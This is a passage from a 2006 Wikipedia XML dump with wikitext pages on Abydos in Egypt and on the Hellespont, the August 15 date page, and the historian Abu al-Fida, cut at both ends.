[[nl:Absalom]]
[[ja:アブサロム]]
[[pl:Absalon (imię)]]
[[pt:Absalão]]
[[fi:Absalom]]
[[sv:Absalom]]</text>
    </revision>
  </page>
  <page>
    <title>Abydos</title>
    <id>1439</id>
    <revision>
      <id>33866377</id>
      <timestamp>2006-01-04T18:00:05Z</timestamp>
      <contributor>
        <username>BoboDS</username>
        <id>753167</id>
      </contributor>
      <text xml:space="preserve">'''Abydos''' may mean:

Egyptian Mythology - The holy city of [[Osiris]], who was buried there himself, as were many other [[pharaohs]]. 
* [[Abydos, Egypt]], one of the most ancient cities of Upper Egypt
* [[Abydos, Hellespont]] (also &quot;Ábydos&quot;), an ancient city of Mysia, in Asia Minor
* [[Abydos (music)]], a 2004 solo musical project of Andy Kuntz, member of [[Vanden Plas (band)|Vanden Plas]]
* [[Abydos (Stargate)]], name of a fictional planet in the Stargate science fiction universe
* [[Abydos (thema)]], a historical province of the [[Byzantine Empire]]

'''Abidos''' may mean:
* [[Abidos, Pyrénées-Atlantiques]], a commune of the [[Pyrénées-Atlantiques]] ''département'', in southwestern France 

{{disambig}}

[[de:Abydos]]
[[fr:Abydos]]
[[it:Abydos]]</text>
    </revision>
  </page>
  <page>
    <title>Abydos, Egypt</title>
    <id>1440</id>
    <revision>
      <id>40288578</id>
      <timestamp>2006-02-19T15:23:24Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Coptic]] to [[Coptic Christianity]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">{{Hiero|1=Abydos|2=&lt;hiero&gt;Ab-b-Dw:O49&lt;/hiero&gt;|align=right|era=egypt}}
'''Abydos''' ([[Arabic language|Arabic]]: أبيدوس), one of the most ancient cities of [[Upper and Lower Egypt|Upper Egypt]], stood about 11 km (6 miles) west of the [[Nile]] at latitude 26° 10' N. The [[Egyptian language|Egyptian]] name was Abdju (technically, ''3b&lt;u&gt;d&lt;/u&gt;w'', hieroglyphs shown to the right), &quot;the hill of the symbol or reliquary,&quot; in which the sacred head of [[Osiris]] was preserved. Thence the Greeks named it Abydos, like the city on the [[Hellespont]]; the modern [[Arabic language|Arabic]] name is [[el-'Araba el Madfuna]] ({{lang-ar|العربة المدفنة}} ''al-ʿarabä al-madfanä''). 

==History ==
The history of the city begins in the late prehistoric age, it having been founded by the rulers of the [[Predynastic Period of Egypt|Predynastic period]] ([[William Flinders Petrie]], ''Abydos'', ii. 64), whose town, temple and tombs have been found there. The kings of the [[First dynasty of Egypt|first dynasty]], and some of the second dynasty, were also buried here, and the temple was renewed and enlarged by them. Great forts were built on the desert behind the town by three kings of the [[Second dynasty of Egypt|Second dynasty]]. The temple and town continued to be rebuilt at intervals down to the times of the [[Thirtieth dynasty of Egypt|30th dynasty]], and the cemetery was used continuously. In the [[twelfth dynasty of Egypt|12th dynasty]] a gigantic tomb was cut in the rock by [[Senusret III]]. [[Seti I]], in the [[Nineteenth dynasty of Egypt|19th dynasty]], founded a great new temple to the south of the town in honour of the ancestral kings of the early dynasties; this was finished by [[Ramesses II]], who also built a lesser temple of his own. [[Merneptah]] added a great [[Hypogeum]] of Osiris to the temple of Seti. The latest building was a new temple of [[Nectanebo I]] in the 30th dynasty. From [[Ptolemaic Period|Ptolemaic]] times the place continued to decay and no later works are known (Petrie, ''Abydos'', i. and ii.). 

==Worship ==
The worship here was of the jackal god [[Upuaut]] (Ophols, Wepwoi), who &quot;opened the way&quot; to the realm of the dead, increasing from the first dynasty to the time of the 12th dynasty and then disappearing after the 18th. [[Anhur]] appears in the eleventh dynasty; and [[Anubis]], the god of the western Hades, rises to importance in the [[Middle Kingdom of Egypt|Middle Kingdom]] and then vanishes in the 18th. The worship here of [[Osiris]] in his various forms begins in the 12th dynasty and becomes more important in later times, so that at last the whole place was considered as sacred to him (''Abydos'', ii. 47).

==Temples built==
The temples successively built here on one site were nine or ten in number, from the 1st dynasty to the [[twenty-sixth dynasty of Egypt|26th dynasty]]. The first was an enclosure, about 30 x 50 ft., surrounded by a thin wall of unbaked bricks.  Covering one wall of this came the second temple of about 40 ft. square in a wall about 10 ft. thick. An outer ''temenos'' (enclosure) wall surrounded the ground. This outer wall was thickened about the 2nd or [[Third dynasty of Egypt|3rd dynasty]].  The old temple entirely vanished in the 4th dynasty, and a smaller building was erected behind it, enclosing a wide hearth of black ashes.  
Pottery models of offerings are found in the ashes, and these were probably the substitutes for sacrifices decreed by [[Khufu (pharaoh)|Khufu]] (or Cheops) in his temple reforms.  

A great clearance of temple offerings was made now, or earlier, and a chamber full of them has yielded the fine ivory carvings and the glazed figures and tiles which show the splendid work of the 1st dynasty. A vase of [[Menes]] with purple inlaid [[hieroglyphs]] in green glaze and the tiles with relief figures are the most important pieces. The noble statuette of Cheops in ivory, found in the stone chamber of the temple, gives the only portrait of this greatest ruler.  

The temple was rebuilt entirely on a larger scale by [[Pepi I Meryre|Pepi I]] in the [[Sixth dynasty of Egypt|6th dynasty]].  He placed a great stone gateway to the temenos, an outer temenos wall and gateway, with a colonnade between the gates. His temple was about 40 x 50 ft. inside, with stone gateways front and back, showing that it was of the processional type. In the [[Eleventh dynasty of Egypt|11th dynasty]] [[Mentuhotep I]] added a colonnade and altars. Soon after, [[Mentuhotep II]] entirely rebuilt the temple, laying a stone pavement over the area, about 45 feet square, besides subsidiary chambers. Soon after [[Senusret I]] in the 12th dynasty laid massive foundations of stone over the pavement of his predecessor. A great temenos was laid out enclosing a much larger area, and the temple itself was about three times the earlier size. 

==18th dynasty==
The [[Eighteenth dynasty of Egypt|18th dynasty]] began with a large chapel of [[Ahmose]], and then [[Thutmose III]] built a far larger temple, about 130 x 200 ft. He made also a processional way past the side of the temple to the cemetery beyond, with a great gateway of granite. [[Rameses III]] added a large building; and [[Ahmose II]] in the 26th dynasty rebuilt the temple again, and placed in it a large monolith shrine of red granite, finely wrought. The foundations of the successive temples were comprised within about 18 ft. depth of ruins; these needed the closest examination to discriminate the various buildings, and were recorded by over 4000 measurements and 1000 levellings (Petrie, ''Abydos'', ii.). 

==Other temples==
The temple of Seti I was built on entirely new ground half a mile to the south of the long series of temples just described. This is the building best known as the Great Temple of Abydos, being nearly complete and an impressive sight. A principal object of it was the adoration of the early kings, whose cemetery, to which it forms a great funerary chapel, lies behind it. The long list of the kings of the principal dynasties carved on a wall is known as the &quot;[[Table of Abydos]]&quot;. There were also seven chapels for the worship of the king and principal gods.  At the back were large chambers connected with the Osiris worship (Caulfield, ''Temple of the Kings''); and probably from these led out the great Hypogeum for the celebration of the Osiris mysteries, built by Mineptah (Murray, ''Osireion''). The temple was originally 550 ft. long, but the forecourts are scarcely recognizable, and the part in good state is about 250 ft. long and 350 ft. wide, including the wing at the side.  

Excepting the list of kings and a [[panegyric]] on Ramesses II, the subjects are not historical but mythological. The work is celebrated for its delicacy and refinement, but lacks the life and character of that in earlier ages. The sculptures have been mostly published in hand copy, not facsimile, by [[Auguste Mariette]] in his ''Abydos'', i.  The adjacent temple of Rameses II was much smaller and simpler in plan; but it had a fine historical series of scenes around the outside, of which the lower parts remain. A list of kings, similar to that of Seti I, formerly stood here; but the fragments were removed by the French consul and sold to the [[British Museum]].

== Tombs==
The Royal Tombs of the earliest dynasties were placed about a mile back on the great desert plain, in a place now known as [[Umm el-Qa'ab]].  The earliest is about 10 x 20ft. inside, a pit lined with brick walls, and originally roofed with timber and matting. Others also before Menes are 15 x 25 ft. The tomb probably of Menes is of the latter size. After this the tombs increase in size and complexity. The [[tomb-pit]] is surrounded by chambers to hold the offerings, the actual [[sepulchre]] being a great wooden chamber in the midst of the brick-lined pit. Rows of small tomb-pits for the servants of the king surround the royal chamber, many dozens of such burials being usual.  

By the end of the 2nd dynasty the type changed to a long passage bordered with chambers on either hand, the royal burial being in the middle of the length. The greatest of these tombs with its dependencies covered a space of over 3000 square yards (2,500 m&amp;sup2;). The contents of the tombs have been nearly destroyed by successive plunderers; enough remained to show that rich jewellery was placed on the mummies, a profusion of vases of hard and valuable stones from the royal table service stood about the body, the store-rooms were filled with great jars of wine, perfumed ointment and other supplies, and tablets of ivory and of ebony were engraved with a record of the yearly annals of the reigns. The sealings of the various officials, of which over 200 varieties have been found, give an insight into the public arrangements (Petrie, ''Royal Tombs'', i. and ii.). 

The cemetery of private persons begins in the 1st dynasty with some pit-tombs in the town.  It was extensive in the 12th and 13th dynasties and contained many rich tombs. A large number of fine tombs were made in the 18th to 20th dynasties, and later ages continued to bury here till Roman times. Many hundred funeral steles were removed by Mariette's workmen, without any record of the burials (Mariette, ''Abydos'', ii. and iii.). Later excavations have been recorded by [[Ayrton]], Abydos, iii.; [[Maclver]], ''El Amrah and Abydos''; and [[Garstang]], ''El Arabah''.

==&quot;Forts&quot;==
The structures referred to as &quot;forts&quot; lay behind the town. Known as [[Shunet ez Zebib]] is about 450 x 250 ft. over all, and still stands 30 ft. high. It was built by [[Khasekhemwy]], the last king of the 2nd dynasty. Another nearly as large adjoined it, and is probably rather older. A third fort of a squarer form is now occupied by the [[Coptic Christianity|Coptic]] convent; its age cannot be ascertained (Ayrton, Abydos, iii.).

==Other==
* In the TV series Stargate SG-1 Abydos is the name of a planet that is very similar to Ancient Egypt which also features a large pyramid/spaceship landing pad and a temple to the alien who posed as the sun god Ra.

*Some of the heiroglyphics onsite depict objects which are debated to be a helicopter, submarine, and U.F.O. [http://www.enigmas.org/aef/lib/archeo/abydosm.shtml]

==See also==
* [[Abydos offering formula]]

==References==
*{{1911}}

{{Ancient Egypt}}

[[Category:Ancient Egypt]]

[[ar:أبيدوس]]
[[ca:Abidos]]
[[da:Abydos]]
[[de:Abydos (Ägypten)]]
[[es:Abidos]]
[[fr:Abydos]]
[[gl:Abidos]]
[[he:אבידוס (מצרים)]]
[[lt:Abydosas]]
[[nl:Abydos]]
[[pl:Abydos]]
[[ru:Абидос]]
[[sv:Abydos]]</text>
    </revision>
  </page>
  <page>
    <title>Abydos, Hellespont</title>
    <id>1441</id>
    <revision>
      <id>30101947</id>
      <timestamp>2005-12-04T10:34:31Z</timestamp>
      <contributor>
        <ip>213.16.181.166</ip>
      </contributor>
      <text xml:space="preserve">'''Abydos''', an ancient city of [[Mysia]], in [[Asia Minor]], situated at [[Nagara Point]] on the [[Hellespont]], which is here scarcely a mile broad.  

It probably was originally a [[Thrace|Thracian]] town, but was afterwards colonized by [[Miletus|Milesians]].  Here [[Xerxes I|Xerxes]] crossed the strait on his bridge of boats in 480 B.C. when he invaded [[Greece]].  

Abydos is celebrated for the vigorous resistance it made against [[Philip V of Macedon]] ([[200 BC]]), and is famed in story for the loves of [[Hero and Leander]].  

The town remained till late Byzantine times the toll station of the Hellespont, its importance being transferred to the [[Dardanelles]], after the building of the &quot;Old Castles&quot; by Sultan [[Mahommed II]] (c. 1456). 

==References==
*{{1911}}
[[Category:Thrace]]

[[de:Abydos (Kleinasien)]]
[[he:אבידוס (יוון)]]
[[sv:Abydos, Mindre Asien]]
[[el:Άβυδος]]</text>
    </revision>
  </page>
  <page>
    <title>August 15</title>
    <id>1442</id>
    <revision>
      <id>41893238</id>
      <timestamp>2006-03-02T12:27:17Z</timestamp>
      <contributor>
        <username>Shanes</username>
        <id>94147</id>
      </contributor>
      <minor />
      <comment>rv to Rklawton</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=15}}
|}
'''[[August 15]]''' is the 227th day of the year in the [[Gregorian Calendar]] (228th in [[leap year]]s), with 138 days remaining.
==Events==
* [[778]] - The [[Battle of Roncevaux Pass]], in which [[Roland]] is killed
* [[927]] - The [[Saracen]]s conquered and destroyed [[Taranto]]
* [[1057]] - [[Macbeth of Scotland|King MacBeth]] of Scotland is killed during the [[Battle of Lumphanan]] by the forces of [[Malcolm III of Scotland|King Malcolm III]].
* [[1185]] - The cave city of [[Vardzia]] was consecrated by Queen [[Tamar of Georgia]]
* [[1309]] - [[The city of Rhodes]] surrenders to the forces of the [[Knights of St. John]], completing their conquest of [[Rhodes]]. The knights establish their headquartes on the island, and rename themselves as the [[Knights of Rhodes]].
* [[1517]] - Seven [[Portugal|Portuguese]] armed vessels led by [[Fernao Pires de Andrade]] meet [[China|Chinese]] officials at the [[Pearl River estuary]].
* [[1519]] - [[Panama City, Panama]] is founded
* [[1534]] - The [[Society of Jesus]] is founded by [[Ignatius of Loyola]] with [[Francis Xavier]] and other students
* [[1535]] - [[Asuncion, Paraguay]] is founded
* [[1540]] - [[Arequipa, Peru]] is founded
* [[1549]] - [[Society of Jesus|Jesuit]] priest [[Francis Xavier]] comes ashore at [[Kagoshima]] (Traditional [[Japanese calendar|Japanese date]]: July 22, 1549).
* [[1620]] - The ''[[Mayflower]]'' departs [[Southampton, England]].
* [[1824]] - Freed American slaves form [[Liberia]].
* [[1843]] - The [[Cathedral of Our Lady of Peace]] in [[Honolulu, Hawaii]] is dedicated. Now the cathedral of the [[Roman Catholic Diocese of Honolulu]], it is the oldest [[Roman Catholic]] [[cathedral]] in continuous use in the [[United States]].
* 1843 - [[Tivoli Gardens]],  one of the oldest still intact [[amusement park]]s in the world, opens in [[Copenhagen]], [[Denmark]]. 
* [[1863]] - The [[Satsuma Province|Satsuma]] war begins between the Satsuma clan and the [[United Kingdom]] (Traditional [[Japanese calendar|Japanese date]]: July 2, 1863).
* [[1877]] - [[Thomas Edison]] makes the first-ever recording - &quot;Mary Had a Little Lamb&quot;
* [[1894]] - [[Sante Jeronimo Caserio]] executed for the [[Marie Francois Sadi Carnot]] assesination
* [[1914]] - The [[Panama Canal]] opens to traffic
* [[1920]] - [[Polish-Soviet War]]: [[Battle of Warsaw (1920)|Battle of Warsaw]] - [[Poland|Poles]] defeat the [[Red Army]].
* [[1942]] - [[World War II]]: [[Operation Pedestal]] - The [[SS Ohio|SS ''Ohio'']] reaches the island of [[Malta]] barely afloat carrying vital fuel supplies for the island defenses. 
* [[1944]] - [[World War II]]: [[Operation Anvil]] - Allied forces land in southern [[France]]. 
* [[1945]] - [[World War II]]: [[Victory over Japan Day]] - [[Japan]] surrenders.
* 1945 - [[World War II]]: [[Korea]]n Liberation Day
* [[1947]] - [[India]] gains independence from the United Kingdom. [[Jawaharlal Nehru]] takes office as the first [[Prime Minister of India]]
* [[1948]] - The [[South Korea|Republic of Korea]] is established south of 38th Parallel
* [[1960]] - [[Republic of the Congo]] ([[Brazzaville]]) declares its independence from [[France]]
* [[1961]] - Construction begins on the [[Berlin Wall]], [[Conrad Schumann]] flees from [[East Germany]].
* [[1965]] - [[John Coltrane]] plays in [[Chicago, Illinois]] for the [[Downbeat]] [[Jazz Festival]] with [[Elvin Jones]] and [[McCoy Tyner]].
* [[1969]] - The [[Woodstock Music and Art Festival]] opens.
* [[1971]] - President [[Richard Nixon]] ends convertibility of U.S. [[Dollar|dollar]] into gold 
* [[1973]] - [[Vietnam War]]: The [[United States]] bombing of [[Cambodia]] ends
* [[1974]] - [[Yook Young-soo]], [[First Lady]] of [[South Korea]] is killed amid an apparent assassination attempt upon [[President]] of the [[South Korea]], [[Park Chung-hee]], during the anniversarial ceremony of the Liberation day.
* [[1975]] - Military coup in [[Bangladesh]]
* 1975 - [[Miki Takeo]] makes the first official pilgrimage to [[Yasukuni Shrine]] by a sitting [[Prime Minister of Japan|prime minister]] on the anniversary of the end of [[World War II]].
* [[1977]] - [[The Big Ear]], a [[radio telescope]] operated by The [[Ohio State University]] as part of the [[SETI]] project, receives a radio signal from deep space; the event is named the &quot;[[Wow! signal]]&quot; for notation made by a volunteer on the project.
* [[1978]] - Foundation of [[Mirapuri]] - The City of Peace and Future Man
* [[1995]] - In [[South Carolina]], [[Shannon Faulkner]] becomes the first female cadet matriculated at [[The Citadel (Military College)|The Citadel]], but drops out in less than a week. 
* [[1998]] - [[Omagh]] bomb in [[Northern Ireland]], becoming the worst [[terrorism|terrorist]] incident of [[The Troubles]]
* [[1999]] - [[Beni Ounif massacre]] in [[Algeria]]; some 29 people killed at a false roadblock near the Moroccan border, leading to temporary tensions with [[Morocco]].
* [[2004]] - World famous Jam band [[Phish]] plays their last show in [[Coventry, Vermont]] after more than 20 active years.

==Births==
*[[1001]] - King [[Duncan I of Scotland]] (d. [[1040]])
*[[1171]] - King [[Alfonso IX of Leon]] (d. [[1230]])
*[[1195]] - [[Anthony of Padua]], Portuguese saint (d. [[1231]])
*[[1432]] - [[Luigi Pulci]], Italian poet (d. [[1484]])
*[[1613]] - [[Gilles Ménage]], French scholar (d. [[1692]])
*[[1717]] - [[Blind Jack]], English roadbuilder (d. [[1810]])
*[[1769]] - [[Napoleon I of France|Napoleon Bonaparte]], Emperor of France (d. [[1821]])
*[[1785]] - [[Thomas De Quincey]], English author (d. [[1859]])
*[[1813]] - [[Jules Grévy]], President of France (d. [[1891]])
*[[1856]] - [[Ivan Franko]], Ukrainian writer (d. [[1916]])
*[[1858]] - [[E. Nesbit]], English author (d. [[1924]])
*[[1872]] - [[Sri Aurobindo]], Indian writer, nationalist, philosopher, and guru (d. [[1950]])
*[[1875]] - [[Samuel Coleridge-Taylor]], English composer (d. [[1912]])
*[[1879]] - [[Ethel Barrymore]], American actress (d. [[1959]])
*[[1887]] - [[Edna Ferber]], American novelist (d. [[1968]])
*[[1883]] - [[Ivan Mestrovic|Ivan Me&amp;#353;trovi&amp;#263;]], Croatian sculptor (d. [[1962]])
*[[1890]] - [[Jacques Ibert]], French composer (d. [[1962]])
*[[1892]] - [[Louis, 7th duc de Broglie]], French physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1987]])
*[[1893]] - [[Leslie Comrie]], New Zealand astronomer and computing pioneer (d. [[1950]])
*[[1896]] - [[Gerty Cori]], Austrian-born biochemist, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[1957]])
*1896 - [[Léon Theremin|Leon Theremin]], Russian inventor (d. [[1993]])
*[[1900]] - [[Jan Brzechwa]], Polish poet (d. [[1966]])
*[[1912]] - [[Julia Child]], American cook (d. [[2004]])
*1912 - Dame [[Wendy Hiller]], English actress (d. [[2003]])
*[[1916]] - [[Aleks Çaçi]], Albanian writer
*[[1917]] - [[Jack Lynch]], fourth [[President of Ireland]] (d. [[1999]])
*[[1919]] - [[Huntz Hall]], American actor (d. [[1999]])
*[[1922]] - [[Lukas Foss]], German-born composer
*[[1923]] - [[Rose Marie]], American actress
*[[1924]] - [[Robert Bolt]], English screenwriter (d. [[1995]])
*[[1925]] - [[Mike Connors]], American actor
*1925 - [[Willie Jones (baseball)|Willie Jones]], baseball player (d. [[1983]]) 
*1925 - [[Oscar Peterson]], Canadian jazz pianist
*[[1928]] - [[Nicolas Roeg]], English film director
*[[1933]] - [[Jim Lange]], American game show host
*[[1935]] - [[Vernon Jordan Jr.]], U.S. Presidential advisor
*1935 - [[Lionel Taylor]], American football player
*[[1938]] - [[Janusz A. Zajdel]], Polish writer
*[[1944]] - [[Linda Ellerbee]], American journalist
*1944 - [[Sylvie Vartan]], French pop singer
*[[1945]] - [[Mahamandaleshwar Paramhans Swami Maheshwarananda]], Indian guru
*1945 - [[Begum Khaleda Zia]], [[Prime Minister of Bangladesh]]
*[[1946]] - [[Jimmy Webb]], American musician and composer
*[[1947]] - [[Raakhee Gulzar]], Indian actress
*[[1948]] - [[Uschi Digard]], American actress and model
*[[1949]] - [[Richard Deacon]], Welsh sculptor
*[[1950]] - [[Anne, Princess Royal|Princess Anne of the United Kingdom]]
*[[1951]] - [[Daba Diawara]], Malian politician
*[[1957]] - [[Željko Ivanek]], American actor
*[[1958]] - [[Victor Shenderovich]], Russian satirist
*[[1965]] - [[Rob Thomas (writer)|Rob Thomas]], author and screenwriter
*[[1968]] - [[Debra Messing]], American actress
*[[1972]] - [[Ben Affleck]], American actor
*[[1974]] - [[Natasha Henstridge]], Canadian actress
*[[1975]] - [[Kara Wolters]], American basketball player
*[[1976]] - [[Boudewijn Zenden]], Dutch football player
*[[1977]] - [[Igor Cassina]], Italian gymnast
*[[1978]] - [[Tim Foreman]], American bassist ([[Switchfoot]])
*1978 - [[Lilia Podkopayeva]], Ukrainian gymnast

==Deaths==
*[[778]] - [[Roland]], Frankish commander (killed in battle)
*[[1038]] - King [[ Stephen I of Hungary]]
*[[1040]] - King [[Duncan I of Scotland]] (b. [[1001]])
*[[1057]] - King [[Macbeth I of Scotland]]
*[[1118]] - [[Alexius I Comnenus]], [[Byzantine Emperor]] (b. [[1048]])
*[[1196]] - [[Conrad II, Duke of Swabia]] (b. [[1173]])
*[[1274]] - [[Robert de Sorbon]], French theologian and founder of the Sorbonne (b. [[1201]])
*[[1369]] - [[Philippa of Hainault]], queen of [[Edward III of England]]
*[[1528]] - [[Odet de Foix, Vicomte de Lautrec]], French military leader (b. [[1485]])
*[[1552]] - [[Hermann of Wied]], German Catholic archbishop (b. [[1477]])
*[[1621]] - [[John Barclay (1582-1621)|John Barclay]], Scottish writer (b. [[1582]])
*[[1666]] - [[Johann Adam Schall von Bell]], German Jesuit missionary (b. [[1591]])
*[[1714]] - [[Constantin Brâncoveanu]], Prince of Wallachia (b. [[1654]])
*[[1728]] - [[Marin Marais]], French composer and viol player (b. [[1656]])
*[[1799]] - [[Giuseppe Parini]], Italian poet (b. [[1729]])
*[[1852]] - [[Johan Gadolin]], Finnish scientist (b. [[1760]])
*[[1907]] - [[Joseph Joachim]], Austrian violinist (b. [[1831]])
*[[1909]] - [[Euclides da Cunha]], Brazilian writer and sociologist (b. [[1866]])
*[[1935]] - [[Wiley Post]], American pilot (b. [[1898]])
*1935 - [[Will Rogers]], American humorist and actor (b. [[1879]])
*[[1936]] - [[Grazia Deledda]], Italian writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (b. [[1871]])
*[[1951]] - [[Artur Schnabel]], Polish pianist (b. [[1882]])
*[[1953]] - [[Ludwig Prandtl]], German physicist (b. [[1875]])
*[[1959]] - [[Blind Willie McTell]], American singer (b. [[1901]]
*[[1962]] - [[Lei Feng]], Chinese revolutionary (b. [[1940]])
*[[1967]] - [[René Magritte]], Belgian painter (b. [[1898]])
*[[1971]] - [[Paul Lukas]], Hungarian-born actor (b. [[1887]])
*[[1975]] - [[Sheikh Mujibur Rahman]], [[President of Bangladesh]] (b. [[1920]])
*1975 - [[Clay Shaw]], [[John F. Kennedy]] assassination investigator (b. [[1913]])
*[[1982]] - [[Hugo Theorell]], Swedish scientist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1903]])
*[[1990]] - [[Viktor Tsoi]], Russian musician (b. [[1962]])
*[[1995]] - [[John Cameron Swayze]], American journalist (b. [[1906]])
*[[1999]] - Sir [[Hugh Casson]], British architect and artist (b. [[1910]])
*[[2001]] - [[Richard Chelimo]], Kenyan athlete (brain tumour) (b. [[1972]])
*[[2003]] - [[Gösta Sundqvist]], Finnish songwriter and singer (heart attack) (b. [[1957]])
*[[2004]] - [[Sune Bergström]], Swedish biochemist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1916]])
*2004 - [[Amarsinh Chaudhary]], Indian politician (b. [[1941]])
*[[2005]] - [[James Dougherty]], first husband of [[Marilyn Monroe]] ([[leukemia]])

==Holidays and observances==
* [[August 15 (Eastern Orthodox liturgics)|Eastern Orthodoxy]] &amp;ndash; Feast of the [[Dormition of the Theotokos|Dormition]] of the [[Theotokos]], the commemoration of the death of [[Mary, the mother of Jesus]].
* [[Calendar of Saints|RC Saints]] &amp;ndash; Feast day of the [[Assumption of Mary]], the mother of Jesus, [[Holy Day of Obligation]]. Public Holiday in: [[Austria]], [[Belgium]], [[Cameroon]], [[Chile]], [[Côte d'Ivoire]], [[Croatia]], [[Cyprus]], [[East Timor]], [[France]], [[Greece]], [[India]], [[Italy]], [[Lebanon]], [[Lithuania]], [[Malta]], [[Mauritius]], [[Poland]], [[Portugal]], [[Seychelles]], [[Slovenia]] and [[Spain]].
*[[Acadie]] &amp;ndash; National Day
* [[Egypt]] &amp;ndash; Flooding of the [[Nile]] Day
* [[Hawaii]] &amp;ndash; ''[[Toro Nagashi]]'' (Floating Lantern Ceremony) to commemorate the end of the [[World War II|second world war]]
* [[Holidays in India|India]] &amp;ndash; [[Independence Day]] (from the United Kingdom, [[1947]])
* [[Italy]] &amp;ndash; &quot;Ferragosto&quot;, remembrance of an ancient Roman holiday in honor of Augustus (Feriae Augusti)
* [[Korea]] &amp;ndash; Liberation Day
* Ancient [[Latvia]] &amp;ndash; [[Māras]]
* [[Liechtenstein]] &amp;ndash; Liechtenstein Day
* [[Poland]] &amp;ndash; Polish Armed Forces Day
* [[Jamaica]]&amp;ndash; Jamaican national dance Day(Bianca Day)
* [[Tuva]] &amp;ndash; Tuva Republic Day, [[Naadym]]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/15 BBC: On This Day]

[[August 14]] - [[August 16]] - [[July 15]] - [[September 15]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:15 Augustus]]
[[ar:15 أغسطس]]
[[an:15 d'agosto]]
[[ast:15 d'agostu]]
[[bg:15 август]]
[[be:15 жніўня]]
[[bs:15. august]]
[[ca:15 d'agost]]
[[ceb:Agosto 15]]
[[cv:Çурла, 15]]
[[co:15 d'aostu]]
[[cs:15. srpen]]
[[cy:15 Awst]]
[[da:15. august]]
[[de:15. August]]
[[et:15. august]]
[[el:15 Αυγούστου]]
[[es:15 de agosto]]
[[eo:15-a de aŭgusto]]
[[eu:Abuztuaren 15]]
[[fo:15. august]]
[[fr:15 août]]
[[fy:15 augustus]]
[[ga:15 Lúnasa]]
[[gl:15 de agosto]]
[[ko:8월 15일]]
[[hr:15. kolovoza]]
[[io:15 di agosto]]
[[id:15 Agustus]]
[[ia:15 de augusto]]
[[ie:15 august]]
[[is:15. ágúst]]
[[it:15 agosto]]
[[he:15 באוגוסט]]
[[jv:15 Agustus]]
[[kn:ಆಗಸ್ತ ೧೫]]
[[ka:15 აგვისტო]]
[[csb:15 zélnika]]
[[ku:15'ê gelawêjê]]
[[lt:Rugpjūčio 15]]
[[lb:15. August]]
[[li:15 augustus]]
[[hu:Augusztus 15]]
[[mk:15 август]]
[[ml:ആഗസ്റ്റ്‌ 15]]
[[ms:15 Ogos]]
[[nap:15 'e aùsto]]
[[nl:15 augustus]]
[[ja:8月15日]]
[[no:15. august]]
[[nn:15. august]]
[[oc:15 d'agost]]
[[pl:15 sierpnia]]
[[pt:15 de Agosto]]
[[ro:15 august]]
[[ru:15 августа]]
[[se:Borgemánu 15.]]
[[sco:15 August]]
[[sq:15 Gusht]]
[[scn:15 di austu]]
[[simple:August 15]]
[[sk:15. august]]
[[sl:15. avgust]]
[[sr:15. август]]
[[fi:15. elokuuta]]
[[sv:15 augusti]]
[[tl:Agosto 15]]
[[tt:15. August]]
[[te:ఆగష్టు 15]]
[[th:15 สิงหาคม]]
[[vi:15 tháng 8]]
[[tr:15 Ağustos]]
[[uk:15 серпня]]
[[wa:15 d' awousse]]
[[war:Agosto 15]]
[[zh:8月15日]]
[[pam:Agostu 15]]</text>
    </revision>
  </page>
  <page>
    <title>Abu al-Fida</title>
    <id>1444</id>
    <revision>
      <id>42060905</id>
      <timestamp>2006-03-03T15:11:01Z</timestamp>
      <contributor>
        <username>Shaolin128</username>
        <id>653138</id>
      </contributor>
      <comment>+fr</comment>
      <text xml:space="preserve">'''Abu al-Fida''' (fully '''Abu Al-fida' Isma'il Ibn 'ali Al-malik Al-mu'ayyad 'imad Ad-din''', also [[transliterated]] '''Abulfeda''', '''Abu Alfida''', and other ways) (November [[1273]] &amp;ndash; [[October 27]], [[1331]]) was an [[Arab]] [[historian]], [[geographer]], and local [[sultan]].

==Life==

Abulfeda was born at [[Damascus]], where his father [[Malik ul-Afdal]], brother of the prince of [[Hamah]], had fled from the [[Mongols]]. He was a descendant of [[Ayyub]], the father of [[Saladin]].  

In his boyhood he devoted himself to the study of the ''[[Qur'an]]'' and the sciences, but from his twelfth year was almost constantly engaged in military expeditions, chiefly against the [[Crusades|crusaders]].  

In [[1285]] he was present at the assault of a stronghold of the [[Knights of St. John]], and took part in the sieges of [[Tripoli, Lebanon|Tripoli]], [[Akko|Acre]] and [[Qal'at ar-Rum]]. In [[1298]] he entered the service of the [[Mameluke]] [[Sultan]] [[Malik al-Nasir]] and after twelve years was invested by him with the governorship of [[Hamah]]. In [[1312]] he became prince with the title '''Malik us-Salhn''', and in [[1320]] 
received the hereditary rank of ''sultan'' with the title '''Malik ul-Mu'ayyad'''.  

For more than twenty years all together he reigned in tranquillity and splendour, devoting himself to the duties of government and to the composition of the works to which he is chiefly indebted for his fame. He was a munificent patron of men of letters, who came in large numbers to his court. He died in [[1331]].

==Works==

His chief historical work is ''An Abridgment of the History at the Human Race,'' in the form of [[annals]] extending from the creation of the world to the year [[1329]] ([[Constantinople]], 2 vols. [[1869]]).  

His geography is, like much of the history, founded on the works of his predecessors, and so ultimately on the work of [[Ptolemy]]. A long introduction on various geographical matters is followed by twenty-eight sections dealing in tabular form with the chief towns of the world. After each name are given the longitude, latitude, climate, spelling, and then observations generally taken from earlier authors.  

Parts of the work were published and translated as early as [[1650]] in [[Europe]].

==References==
*{{1911}}

[[Category:1273 births]]
[[Category:1331 deaths]]
[[Category:Arab historians]]
[[Category:Arab geographers]]
[[Category:Muslim scientists]]

[[fr:Aboul Féda]]
[[sl:Abulfeda]]</text>
    </revision>
  </page>
  <page>
    <title>Acacia</title>
    <id>1445</id>
    <revision>
      <id>42150188</id>
      <timestamp>2006-03-04T03:44:02Z</timestamp>
      <contributor>
        <username>Vuong Ngan Ha</username>
        <id>225920</id>
      </contributor>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = ''Acacia''
| image = Acacia melanoxylon2.jpg
| image_width = 240px
